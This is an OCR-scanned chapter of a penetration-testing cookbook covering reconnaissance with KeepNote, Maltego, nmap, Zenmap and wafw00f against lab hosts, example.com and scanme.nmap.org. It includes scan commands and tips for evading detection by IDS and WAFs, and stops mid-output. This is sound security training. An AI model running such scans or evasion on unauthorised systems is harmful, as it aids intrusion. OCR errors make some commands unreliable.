Gathering public IP information
Gathering external routing information
Gathering internal routing information
Gathering cloud service information
Identifying network hosts

Profiling hosts

Identifying whether there is a web application firewall
Using SNMP to gather more information

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/

Introduction

In this chapter, you will learn the skills necessary to gather information about your target
environment. We will spend time trying to identify as much information as possible. The
more information we can gather will provide us with more potential vectors for
possible penetration in the environment as well as make those penetration attempts more
successful. We will gather domain names, IP subnets, hosts, routing information, as well
as other useful information. You will also learn how to keep track of this data, so we
can refer to it in the future as we progress through our penetration testing environment.
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Using KeepNote to organize our data

We will explore the application KeepNote and how you can use it to capture the
information we discover during our testing.

It will be very important for you to record all the information in detail, as this
information will be useful in later chapters, as well as for the reports that you need to
create for your customer. Kali actually provides some useful purpose-built tools for
recording your information. Don't reinvent the wheel; if you have already used a note
taking tool like Microsoft OneNote or EverNote, just stick to it. However, if you don't
do this, Kali does provide a cross-platform, note-taking application called KeepNote
that you can use if you don't have a preference. But always remember that, as a
penetration tester, you are gathering information that can be used to do great harmto a
customer, so remember security and privacy when you decide on the tools you use to
record the data you gather.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running, and you are logged in as root
e Validate the internet connectivity
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How to do it...

In this recipe we will learn how to use KeepNote in order to collect and organize the
data we collect:

1. Click on Applications. Slide your mouse down and highlight 12 - Reporting Tools,
and click on the KeepNote icon:

2. From the main KeepNote screen, select File | New Notebook. We will be provided
with a file navigation screen. So, select /root/pocuments and type in your customer
name (for example we will use custoner 1), and click on New:

New Notebook [ ]

Name: customer_1

Save In folder: | « | & root | Documents Create Folder

Places Name v Size Modified
Q Search @ Example mtgl 154.7 kB 05/17/2017
# Recently Used

M root

B Desktop

2| File System

Cancel New

KeepNote - New Notebook screen
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3. One of the first pieces of information we want to capture is basic company details.
Click on File | New Page, name it company 1nf0, and press Enter:

customer_1: New Page e e®0
File Edit Search Format View Go Tools Window Help
B * B 7 U &m L & Cantarell vilo A vyOQvy EEAN v
¥ B> customer_1 Title Created time Modified time
B company infol H B NewPage 06:54 PM 06:54 PM I
i @ Trash
Notebook saved 0 pages

KeepNote - New Page screen

4. Populate it with whatever information you can find about your target. Use Google
searches, go through its website and if it's a public company gather their financial

and SEC filing information:
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vJW:@va @ii.v

customer_1: Company Info
File Edit Search Format View Go Tools Window Help
E#*® «+ BZUSMWLA Sas
w customer.l Title Created time Madified time
!—-- [ Company Info ¥ B2 customer_1 06:35 PM 06:35 PM
o Q Trash B Company Info 06:54 PM 07:02 PM
& Trash 06:35 PM 06:35 PM
XYZ Company
100 Anny address
anytown ,XX, 12345
example.com
marketing.example.com
investor.example.com
main - 123.456.7890
Notebook saved 2 pages

KeepNote - Add information screen

5. Click on File | New Child Page, and call it e-mai1 adaresses. Add any email address

you can find:
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customer.1: e-mail addresses (- IO

File Edit Search Format View Go Tools Window Help
B* e BZ USMKLAE Sas vjio TEYyOr [EEam oy
¥ 5 customer_1 Title Created time Modified time

B Company Info ¥ [Y Company Info 06:54 PM 07:02 PM
i @@ Trash B e-mail addresses 07:03 PM 07:06 PM

john.doe@example.com
jane.doe@example.com
marketing@example.com|

Notebook saved 1 page

KeepNote - New Child page

6. To save the notebook, click on File | Save Notebook.
7. To quit, click on File | Quit but make sure you always save it first.

You're never going to be done recording information. Every little piece of
information you find, log it and keep it organized. You can add output
information from the commands you run, from images, and from
screenshots. After you do a few of these, you will find that you may be
able to start with a basic template of information. You can create a generic
template that has pages and child pages already set up. Just copy it over
for your new notebook whenever you start a new engagement. You can
continue modify and adjust these template as you find new categories of
information you want to capture.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

There's more...

Explore the httpz/keepnote.org/ website to get more information on the KeepNote application
and its capabilities.
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Getting up and running with Maltego CE

We will be using the maltego community edition (Maltego CE) for several more
recipes. This chapter will take us through the initial setup of Maltego. Maltego is a tool
designed for data mining and discovery. It will place the information in a knowledge
graph that you can continue to build and pivot from to help discover and gather
information. This information can then be leveraged to expand our attack surface.
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Getting ready

Let's ensure the following pre-requisites:

e Kali Linux is running and you are logged in as root
e Validate network connectivity to the internet
e Sign up for a Maltego community edition account through https://www.paterva.comweb7/co

mmunity/community.php
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How to do it...

In this recipe we will get Matego - Community Edition registered and setup:

1. Launch Maltego CE by going to Applications | 01 - Information Gathering. Click on
maltegoce:

Applications v

Favorites B dmitry
dnmap-clie...
dnmap-ser...

2l ike-scan

malteg[o_ce
s

s netdiscover

nmap
pOf
£ recon-ng e

sparta

Zenmap

Usual applications

Activities

Kali application menu screen

2. You will be brought to a welcome Screen. Click on Next to Continue.

3. You will now be brought to Install Transforms From: Screen. Ensure that there is a
check mark in the Maltego public servers, and click on Next.

4. At the Ready...Set...Go! screen, select Go away, I have done this before!, and
click on Finish.

5. Click on the Maltego CE icon in the top left-hand corner of the screen, and select
Log in to Community Server at the bottom:

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir

Maltego icon

6. Login with the credentials you created in the preceding Getting ready section, and
click on Next:

Invalid API key - please login
STEPS

1. Login
2. Login result o % :
Enter your details below to log in to the Maltego Community Server

Or if you have not done so yet, register here

Login

* Email Address

Password

* Solve captcha wvnypts

I I I |

Maltego logon screen

7. You will be presented with a screen providing the personal details that you used
when registering; click on Finish.

The API key Maltego provided through your login is good for three days.
0 Every three days, you will have to log back in to obtain a new API key.

8. Now that we are all done, we should be brought to Transform Hub. To start, let's
click on Refresh Transform Hub to ensure we have the latest list of transforms
available.

9. Once Transform Hub is refreshed, you can start by installing all the transforms
listed.

10. You can easily install a transform by clicking on it and selecting Install.

11. After you install your transforms, you can go through and, by clicking on them,
check whether there are any settings that you may need to, or want to, modify. In
particular, you may need to set up credentials for other transforms as needed, in
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order to use them.

A transform is an operation that will take a bit of data and analyze it
against a predefined set of characteristics and add that information to the
graph. Later, we will review machines that our groups of transforms put
together in a macro. Here, we can carry out successive data operations by
linking multiple transforms together in a series. Please note that the
community edition of Maltego is limited to 12 entries returned per
transform, which may require you to run certain transforms multiple times,
or with less granular information, to receive all the information.
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There's more...

You can read more information on Maltego at httpsv/docs.paterva.com/en/user-guide/. There are
many other transforms available for Maltego that you can search for online. Here are a
few links to get you started:

https//maltego.shodan.io/

http://packetninjas.net/tools/socialnet.html
https//code.google.com/p/recordedfuture/downloads/detail’name=RF Maltego Package 1.0.tgz
https//github.com/allfro/sploitego

https://github.com/catalyst256/Watcher

https//github.com/digital4rensics/Malformity

https//www.threatminer.org/maltego.php
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Gathering domain information

In this recipe we will use Maltego CE to gather Internet Domain information. If we are
mainly working an external, internet based, penetration test. This information will
provide of plenty of valuable information regarding the public aspects of there network.
This tool will start with a domain name and pivot out to several different aspects of
publicly available domain information.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Validate network connectivity to the internet
e Maltego is running
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How to do it...

In this recipe we will use Maltego CE to gather information about a target's domain
name:

1. Inthe upper left-hand corner, click on the new graph button:

2. On the left, select Entity palette. Scroll down to Infrastructure, and click on
Domain. Drag it onto the graph.

3. Rename paterva.com tO example.com; exampie.com Will suffice as the target domain for this
round of testing:

[ NN ] Kali Linux [Running]
Wed 11:08

Maltego Kali Linux Edition 4.0.11

r’. @ Clear Graph Numbew of Results ‘ l m

Capy Paste '_‘ 2 ! Quick Find in N = ~
)ﬂDeIete | =2 B -55 10k Find  Files selection w2 15 A

New Graph (4) X

s DNS Name
Domain Name

Domain
An internet domair

1Pvad Address . | /
AP v . example.com
~

MX Record

& DNS mail ar k
NS Record

A DNS

Netblock

Transforms

o Machines

S b rransi.

— Properties

Transform [Threat Miner] DMSMame to IP (pDNS] returned with 2 entities (from enti
Transform [Threat Miner] DNSMame to IP (pDMS) returned with 2 entities (from enti
Transform [Threat Miner] DNSMame to IP (pDNS) done (from 12 entities)

Running transform [Threat Miner] Domain to Whois Details on 1 entities (from entd
Transform [Threat Miner] Domain to Whois Details returned with 2 entities (from g
Transform [Threat Miner] Domain to Whois Details done ifrom entity "example.com")

1 of 1 entity

o) il 1 e 1T ) Left 88

Maltego - New Graph page
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We will use exampie.con for some of our initial testings. The exampie.con 1S @
reserved site dedicated to documentation. It has some infrastructure

0 behind it. The infrastructure 1s minimal, so some results will not be
complete. You can use exampie.com fOr your testing or a domain you are
authorized to access.

4. Right-click on the exampie.con domain icon, which will show you a variety of
transform options. Let's start by getting the whois information. Navigate to Threat
Miner | [ Threat Miner] Domain to Whois Details. This will reach out and pull all
the publicly available information on the domain. If you now double-click on the
domain icon, and select Properties (14) from the top. Then, you will see that all the
information 1s populated:

Details

Summary Attachments (0] Notes Properties (14)

Domain Name example.com

WHOIS Info

Updated Date 2016-08-14 00:00:00

Whois Md5 025d4ecc0dl43ec8diealcadbddBe 77
Billing Info

Registrant Info

Creation Date 1992-01-01 00:00:00

Whois Server whois.iana.org

A

Tech Info

Admin Info

Mameservers a.iana-servers.net b.iana-servers.net
Expiration Date 2017-08-13 00:00:00

Registrar Reserved-internet Assigned Mumbers Authority

Date Checked 2016-11-22 10:45:09

Spend a minute getting used to how the transform interface works. Right-
click on exampie.con to open the Run Tansform(s) dialog. Along the left
edge, you may notice a return arrow, which can bring you back in the
transform menu. Depending on where you are, you may need to click back
a couple times to get back to the root transform screen; go into a couple of
the populated choices as needed.
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5. Continue building the graph and have it populate the name servers. Right-click on
exanple.com, and select Paterva CTS | DNS from Domain | To DNS name - NS (name
server). You will now see our name servers populating:

Mew Graph (7) X

= |
Loyou
&

: @
[= /8
.:.: e_}{ample.cor_n

L
P

(!
s i i

b.iana-servers.net a.iana-servers.net

Maltego - example.com graph with name servers
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There's more...

There is a tremendous amount of additional information that you can use Maltego to
gather. Spend some time trying to obtain more domain-related information. Test some
different transforms, even if one transform fails to gather a particular type of data,
another transform may succeed in gathering it. Also you can use Maltego to discover
other domains that may be related to the company. Perhaps, they have exampie.com and
exanple.org that have different mappings, so take the time to explore and gather all the
information you can.

graph at this point so that you can come back to it, or continue with other

0 We will continue to use Maltego for further examples, so, either save your
operations.
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Gathering public IP information

We will now use Maltego to obtain the external host, the IP address, and some netblock
information.
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Getting ready

We want to continue from where we left off with the last section, so, if you are coming
back to the book after a while, open your saved Maltego graph from the Gathering
domain information recipe.
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How to do it...

In this recipe we will use Maltego CE to gather a company's public IP information:

1. Starting from the graph screen, right-click on the exanpie.com domain icon and select

Paterva CTAS | DNS from Domain | To Website [Quick lookup]. You will now
discover www.example.com.

Hew Graph (1) X

Wi

WL example. cam

Maltego - Graph screen with www.example.com

Against a real domain, try the following transforms to further propagate a
list of hosts. Some of the transforms you may want to try are; Paterva
CTAS | DNS from Domain | To DNS Name [Using DB] and Paterva
CTAS | DNS from Domain | To DNS Name [Find common DNS names].

2. Now let's resolve the host names of all objects to their corresponding IP addresses.
Start by highlighting multiple objects by clicking and dragging across the ones you

want to select. Once those items are highlighted right-click and Select Paterva
CTAS | Resolve to IP | To IP Address [DNS]:
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Mew Graph (1) X

L] N
2 o
e S o

I = example.com
- .
o
Freeze - T~
c o] N
wiww 2xample.com b.iana-servers. net a.lana-servers.net
e s - % _.

F -

o - -

93.184.216.34 1992.43.133.53 1994313553

Maltego - Graph screen with www.example.com

3. Let's obtain netblock information for ww.exampie.com now that we have its IP address.
Right-click on the IP address in the question, and select All Transforms | To
Netblock [Using routing info]:
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New Graph (1) X

I e
N
d *
example.com
3
o
AL
o
:.’n = NS
: =
~ B
I www, exarnple. corm b.iana-servers.net a.iana-servars.net
|W /"-.J.- .--.--‘\
/ \
< [ ) =) .
:Q | I]
“g '93.184.216.34 ; 192.43.133.53 122,43.135.53
e
2
93.184.216.0-93.184.216.255

Maltego - Graph screen with www.example.com

We will be continuing to use Maltego for further examples, so, either save
your graph at this point so that you can come back to it, or continue on
with other operations.
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Gathering external routing information

We will now use Maltego to obtain external routing information. External routing
information can provide us with valuable information such as who their internet service

providers are and how their traffic flows.
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Getting ready

We want to continue from where we left off with the last section, so, if you are coming
back to the book after a while, open your saved Maltego graph from the Gathering
public IP information recipe.
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How to do it...

We will use Maltego CE to gather BGP autonomous system information:

1. By right-clicking on the IP netblock, we can now obtain the BGP AS number
assigned to this netblock by selecting Paterva CTAS | To AS number:

Hew Graph (1) X

P18 _— =
i = =
= i

L . i :

. 1 WWW.erample.com  D.olana-sery ers, Bl a.lana-sery ers, Bl
o pl k. =t =t
L
.|
C | o o =

T‘ 32.124.216.24 133.43.132.53 133.42.135.53
e

Ny
b
W ¥
k" b
b 93.194.216.0-52.124.216.255
W _.

r

K

15133

Maltego - Graph screen with www.example.com

2. Next, we want to find the owner of the AS number in question. Right-click on the
AS number and select All Transforms | To Company [ Owner].

your graph at this point so that you can come back to it, or continue on

0 We will be continuing to use Maltego for further examples, so, either save
with other operations.
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Gathering internal routing information

We will use zenmap to provide a graphical representation of our network. Zenmap is a
graphical front end to nmap. Zenmap does have some advantages over nmap, especially
when it comes to providing certain graphical outputs. We are going to use it to provide a
visual look at our target network. By obtaining information about how the internal
network is layed out we can use this information to spread attacks beyond just the local

subnet.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Validate network connectivity to the internet
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How to do it...

We will use zenmap to graphically map our network out to a predefined point:

1. Open zenmap by selecting Application | Information Gathering - zenmap. Spend a
minute and examine the interface. You have some profile scans, and you can create
your own to perform repetitive tasks. You will also see several output tabs. The
one we will concentrate on a bit will be the Topology section:

Scan Tools Profile Help

Target: v Profile: |Intense scan v | Scan
Command: |nmap -T4 -A -v
Hosts | Services Nmap OQutput | Ports / Hosts  Topology Host Details  Scans

0S  Host v

Filter Hosts

Zenmap - Main start screen

2. Start by using an nmap traceroute scan using ICMP to map the path that we have to
scanme.nmap.org. IN the target screen, type scanme.nmap.org, and we will use the
following options: -sn for a simple ping scan, -e= to specify protocol ICMP, and -
traceroute t0 Indicate that we want traceroute information to the destination. Once
done, click on Topology to see a graphical view of our network. This information
can be used to see other areas we may want to scan:
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Zenmap e @0
Scan Teols Profile Help
Target: g(anme nmap.org v Profile: j v | |Scan

Command: |nmap -sn -PE --traceroute scanme.nmap.org

| Hosts | Services Nmap Output Ports / Hosts  Topology Host Details Scans

05 Host Hosts Viewer | Fisheye | Controls Legend | Save Graphic

T scanme.nmap

===
Filter Hosts

Zenmap - External topology scan

3. If we have internal access to the network, we can try scanning it against the
RFC1918 address block. For speed, we specifically just did the 192.168.0.0/16
address block. As you see, we have found other address blocks that are worth

exploring;

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

Applications v Places v & Zenmap v

Zenmap (IO -]

Scan Tools Profile Help

Target: |192.168.0.0/16 v Profile: ¥ |[Scan|

Command: ‘nmap -sn -v -PE --traceroute 192.168.0.0/16

Hosts | Services Nmap Output Ports / Hosts  Topology Host Details  Scans

0S  Host Hosts Viewer w Controls Legend| Save Graphic |
192.168.56.1

192.168.56.10

192.168.56.10

192.168.253.1 ?192.168.56.100

s

EeeEeew

\I

* @ 19216856.1

_________ ealhost
©19i:168.56.101

192.168.3.57

192.168.253.106

Fisheye onring |1.00 ) with interest factor [2.00 ||| and spread factor 050 ||
Filter Hosts

Zenmap - internal topology scan

This will be a fairly noisy scan, so, in a typical penetration testing
scenario, we would be more tactical with our scans. We would do this by
tracerouting to some specific things that we would know of: internal DNS
servers, domain controllers, and so on. We will use this information to be
more specific and narrower with our scans.

4. You can click on Save Graphic, and save the topology as a PDF or PNG file, and
insert it into KeepNote. You can also save the entire scan by going to Scan | Save
Scan for later reference, or to continue to grow your knowledge of the network host
and the host discovery.
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There's more...

Remember zenmap provides all the nmap capabilities and functionalities. Try some
additional scans including traceroute, and try to use it to a build a map of your internal
home network or a network you are authorized to use.

Also, for additional information, take a look at https:/nmap.org/book/zenmap.html.
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Gathering cloud service information

We next want to discover whether the target is using any cloud-based services. Based
on the IP addresses we have found we can see if there are multiple different domain and
host information associated with an individual IP Address which would indicate some
form of cloud based service.

Cloud services come in several different forms and offerings. Cloud services originally
started the as a service trend with Software as a Service (SaaS), such as Office 365
and Exchange 365 and a Platform as a Service (PaaS) like AWS and Azure. Today,
many organizations rely on cloud-based systems. Sometimes, these systems are
controlled, managed, and monitored as part of the data center infrastructure. At other
times, this use 1s regarded as Shadow IT. Shadow IT refers to the services that are
brought up outside the corporate IT environment and control. They are often used for
development purposes or to actually get around restricts or delays based on standard
corporate IT policies. These environments can be rich with information; in fact, some of
the more recent breaches of Personally Identifiable Information (PII) have been from
either unsecured or badly secured test applications, where they used real data in the
databases.
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Getting ready

We want to continue from where we left off with the last section, so, if you are coming
back to the book after a while, open your saved Maltego graph from the Gathering
public IP information recipe.

www.hellodigi.ir


https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/

www.hellodigi.ir


https://technet24.ir
https://technet24.ir

How to do it...

We will now use Maltego CE to obtain information about network blocks and hosts:

1. We can get some more information about the netblock by right-clicking on it and
selecting All Transforms | To Entities (NER):

Mew Graph (1) X

na - na
= Fug
Layout weew . example. com b.iana-serv ers. net a.iana-serv ers.net

33.184.216.34 153.43.133.53 135.43.135.53

¥
33.19‘.215.0-53.19‘.2‘15.255
.
- | ™,
e
N,
\

s

L e v

“'.'r'.'- ¥ ‘L \aq

v

- X \/ 2
15133 Los Angeles, - “TEeTIRT  co—

EDGECAST EdgeCast Networks, Inc. NETELK-02-EV-32-124-216-0-24

Maltego - Graph screen with www.example.com

2. Analyze the information to see if there are any signs of it being a cloud service
provider; there are no chances in this case, but let's try something else.

3. The following is the output from another domain. In this case, we see that this
website (not disclosed) is being hosted by Weebly, a popular web hosting

company:
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New Graph (6) X C2 v

S

.

)

199.34.228.75
abuse-hurman@weebly.com

@ y 9

——=@weebly.com -, US San Francisco, -

@

s=—@weebly.com netops@weebly.com

%' d"&‘éq{}‘ﬁ-;

Maltego - Graph screen with reference to weebly

Run this function against all the IP addresses you can find through the
various items of domain information that we have worked on in the past,
to see if any of them register back to a known service provider.
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Identifying network hosts

There are various methods we can use to scan for hosts on internal or external networks.
We will explore some of these in detail. We will use nmap for several examples in this
section. TCP port scans are default within nmap as most of our well-known servers
running using TCP. However, from a penetration standpoint, there are some very useful
UDP ports that might be open that could provide us with attack vectors such as SNMP.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Bring up your other test machines (Metasploitable and Windows)
e Validate network connectivity to the network you plan on scanning
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How to do it...

We will use nmap and various command line options to perform a variety of different
scans:

1. Open the terminal screen by clicking on the terminal icon:

2. From the main terminal screen, you should be at a Command Prompt of rootexaii:~#.
3. Type nmap and press Enter. A list of options should fill the screen; briefly, review
the list of options.
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A simple subnet scan

We will perform simple scan of a subnet:

Perform a simple subnet scan of your lab network, 192.168.56.0/24. Substitute the subnet
you created for your lab network in the section installing Kali on VirtualBox :

| nmap 192.168.56.0/24

This command will scan 1000 popular ports of all targets in a specific subnet range.
Examine the output. In the case of our Metasploitable machine (192.168.56.102), we will
see the following output. From this output, we can identify the IP address as well as the
number of open ports:

Nmap scan report for 192.168.56.102
Host is up (0.00010s latency).
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open Ttp

22/tcp  open ssh

23/tcp open telnet

25/tcp  open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresql
5900/tcp open wvnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 08:00:27:85:A9:75 (Oracle VirtualBox virtual NIC)
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Scan all the TCP ports of a host

To perform a full TCP scan of our Metasploitable machine, 192.16s.56.102, we add the
command line option -o-. Substitute the IP address for your Metasploitable virtual
machine:

| nmap -p- 192.168.56.102

This command will scan all the TCP ports of the target device. The following is the
output of our scan. You will notice that we have discovered some new open ports:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-85-21 61:58 EDT
Nmap scan report for 192.168.56.102
Host is up (0.000093s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp  open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1699/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

3632/tcp open distccd
5432/tcp open postgresgl
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

6697/tcp open ircs-u
8009/tcp open ajpl3

8180/tcp open unknown
8787/tcp open msgsrvr
34647/tcp open unknown
43857/tcp open unknown
50807/tcp open unknown
53425/tcp open unknown

MAC Address: 08:00:27:85:A9:75 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 18.02 seconds T
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Performing a TCP SYN scan

TCP SYN scans, otherwise known as half open scans, are very useful because of their
specific scanning nature; they are often not logged by the target device. This allows you
to scan a host without leaving traces of the scan:

| nmap -sS -p- 192.168.56.102

Upon scanning the host, you will notice that we have discovered the same open ports.
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Performing a UDP port scan

Performing UDP scans against targets provides us with additional vectors of attacks. We
are also going to add a couple of extra CLI options. We have also added to other
command line options -- for randomize, which will help avoid detection by security
devices such as IDS and IPS servers and the -v for verbose, allowing us to see action
more quickly. This scan will take several minutes to run, so it's nice to know what it's
doing while we wait:

| nmap -sU -r -v 192.168.56.102

You will see from the output that we did find a few UDP ports open that we can explore
later:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-21 04:52 EDT

Initiating ARP Ping Scan at 04:52

Scanning 192.168.56.102 [1 port]

Completed ARP Ping Scan at 04:52, 0.00s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at ©4:52

Completed Parallel DNS resolution of 1 host. at 04:53, 16.51s elapsed

Initiating UDP Scan at ©4:53

Scanning 192.168.56.102 [10080 ports]

Discovered open port 111/udp on 192.168.56.102

Discovered open port 53/udp on 192.168.56.102

Increasing send delay for 192.168.56.102 from @ to 50 due to max_successful_tryno increase to 4

Discovered open port 137/udp on 192.168.56.102

Increasing send delay for 192.168.56.102 from 50 to 100 due to 11 out of 13 dropped probes since last incr
Increasing send delay for 192.168.56.102 from 100 to 200 due to 11 out of 11 dropped probes since last inc
UDP Scan Timing: About 9.75% done; ETC: 04:58 (0:04:47 remaining)

Increasing send delay for 192.168.56.102 from 200 to 400 due to 11 out of 11 dropped probes since last inc|
Increasing send delay for 192.168.56.102 from 400 to 800 due to 11 out of 11 dropped probes since last inc
UDP Scan Timing: About 13.47% done; ETC: B85:00 (0:06:32 remaining)

UDP Scan Timing: About 16.28% done; ETC: 05:02 (0:07:48 remaining)

UDP Scan Timing: About 19.12% done; ETC: 085:03 (0:08:32 remaining)

Discovered open port 2049/udp on 192.168.56.102

UDP Scan Timing: About 25.57% done; ETC: 85:85 (0:09:84 remaining)

UDP Scan Timing: About 39.98% done; ETC: 05:07 (0:88:26 remaining)

UDP Scan Timing: About 46.88% done; ETC: 05:07 (0:07:43 remaining)

UDP Scan Timing: About 53.15% done; ETC: 05:07 (0:06:59 remaining)

UDP Scan Timing: About 58.90% done; ETC: 05:08 (0:06:13 remaining)

UDP Scan Timing: About 64.23% done; ETC: 05:08 (0:85:26 remaining)

UDP Scan Timing: About 69.67% done; ETC: B85:08 (0:04:40 remaining)

UDP Scan Timing: About 74.98% done; ETC: 05:08 (0:03:53 remaining)

UDP Scan Timing: About 80.42% done; ETC: B85:08 (0:83:04 remaining)
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The nmap output formats

There are several types of output that you can use for simple logging of the data, logging
in an XML format for potential input into another program, or outputting for grep:

nmap -oN filename.txt | 1§ a standard default text output format

nmap -oG filename.txt | ¢ IS @ format so you can better run grep against the file

nmap -oX filename.xml | x IS for an XML format

Let's take a simple scan and output it to a file for grep:

| nmap -p- -oG 192 168 56_102.txt 192.168.56.102

You will see the output on the screen, and it will also output to a TXT file in your home
directory, which you can use as a target for grep:

[( > || 4 | f* Home Documents |Q.H::||E| (O <]

D Recent - i a ; ﬁ ﬁ s ﬁ
192_168_ Desktop Documents  Downloads Music Pictures Public

56_102.txt
i Desktop
B E—

[ Documents w &

@ Downlcads Templates Videos

T Music

0] Pictures

H Videos

i Trash

+ Other Locations

“192_168_56_102.txt" selected (1.0 kB)
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Profiling hosts

We will continue to use some advanced functions of nmap to provide us with additional
information about a particular host.
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Getting ready

Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root

Bring up your other test machines (Metasploitable and Windows)
Validate network connectivity to the network you plan on scanning
Internet connectivity
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How to do it...

We will now provide more targeted nmap scans against particular hosts to obtain further
information about the ports and protocols that are open:

1. Open the terminal screen by clicking on the terminal icon on the top-left corner:

2. From the main terminal screen, you should be at a Command Prompt of rootexaii:~#.
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Operating systems and service detection

The following command will run an operating system and service discovery of our
Metasploitable host:

| nmap -A 192.168.56.102

You will notice a considerable amount of information provided in the output. Starting
from the bottom you will see that it correctly identified the machine as well as other
useful information:

Host script results:

| clock-skew: mean: 12h40md4s, deviation: 0s, median: 12h40mdds

| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:

| 0S: Unix (Samba 3.0.20-Debian)

| NetBIOS computer name:

| Workgroup: WORKGROUP\x00

| System time: 2017-05-21T17:49:52-04:00

TRACEROUTE
HOP RTT ADDRESS
1 0.33 ms 192.168.56.102

As we scroll through the output we see a considerable amount of information about

running services. It gives us detailed information about the specific service being run on

the port, version information, and other relevant information. The following is an
example of the VNC port:

5900/tcp open vnc VNC (protocol 3.3)
| vne-info:

|  Protocol version: 3.3

| Security types:

| VNC Authentication (2)
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Aggressive service detection

To perform an aggressive service scan against a host, we will use the following
command:

| nmap -sV --version-intensity 5 192.168.56.102

You will see we get a nice consolidated output of open ports, service, and the version
information:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-85-21 85:17 EDT
Nmap scan report for 192.168.56.102

Host is up (0.00011s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open fTtp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian Bubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd

25/tcp  open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #lo0000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell Netkit rshd

lﬂﬁgftcp open rmiregistry GNU Classpath grmiregistry
1524/tep open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)

2121/tcp open fTtp ProFTPD 1.3.1

3306/tcp open mysgl MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.8 - 8.3.7
5900/tcp open wvnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:85:A9:75 (Oracle VirtualBox virtual NIC)
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There's more...

If you are interested in learning more about nmap please take a look at https:/nmap.org/nmap
doc.html. Also, for all those who would rather use a graphical interface to nmap, there is
zenmap. Why don't you open it and try a few scans with it? Lastly, if you want to try a
target on the internet for some testing of nmap or zenmap, try it against scanme.nmap.org.
This site 1s available as a training aid for you to do scanning as long as you don't get too
aggressive with your testing.
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Identifying whether there is a web
application firewall

We will use watwoor to identify whether there is a web application firewall between us
and our target website.

Many organizations will use a Web Application Firewall (WAF) to protect websites
from web-specific attack. Understanding that a security device sits between you and
your target is extremely important. You will need to obfuscate and avoid detection. You
will have to be more targeted and use special techniques to penetrate the website even
with the WAF in place.
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Getting ready

Let's ensure the following prerequisites:

e Kali Linux is running and you are logged in as root
e Validate the internet connectivity
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How to do it...

In this recipe we will use waswoor to see if there is a web application firewall in our
path:

1. Open the terminal screen by clicking on the terminal icon on the top-left corner:

2. From the main terminal screen, you should be at a Command Prompt of rootexaii:~#.
3. Let's examine a site without a WAF:

| wafw00f scanme.nmap.org

4. The waswoos will provide results showing there was no detection of a WAF
protecting scanme.nmap.org:

root@kali:~# wafw00f scanme.nmap.org

1 O N
[VV /70 /1 7
[n.'/n/l/

WAFWOOF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique

Checking http://scanme.nmap.org

Generic Detection results:

No WAF detected by the generic detection
Number of requests: 13

wafwoof output - no WAF

5. Now, we can examine a site with a WAF using the following command:

| wafw00f www.example.com

6. Here, we will see an indication of a WAF protecting the site:
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root@kali:-# wafwd0f www.example.com

T T N A 1 0 L AT Y.
[ VV//o// TNV //0//8 /[ ]
[, S T A N

L

WAFWOeF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique

Checking http://www.example.com

Generic Detection results:

The site http://www.example.com seems to be behind a WAF or some sort of security solution

Reason: The server header is different when an attack is detected.

[The server header for a normal response is "ECS (iad/182A)", while the server header a response to
an attack is "ECS (iad/19AE).",

Number of requests: 12

root@kali:~# l

wafw00f - www.example.com

7. Now, we will examine another site protected by a WAF using the following
command:

| wafw00f example.uk

8. We will note that a different indication has been triggered:

root@kali:~# wafwdOf example.uk

FAETEN TN N
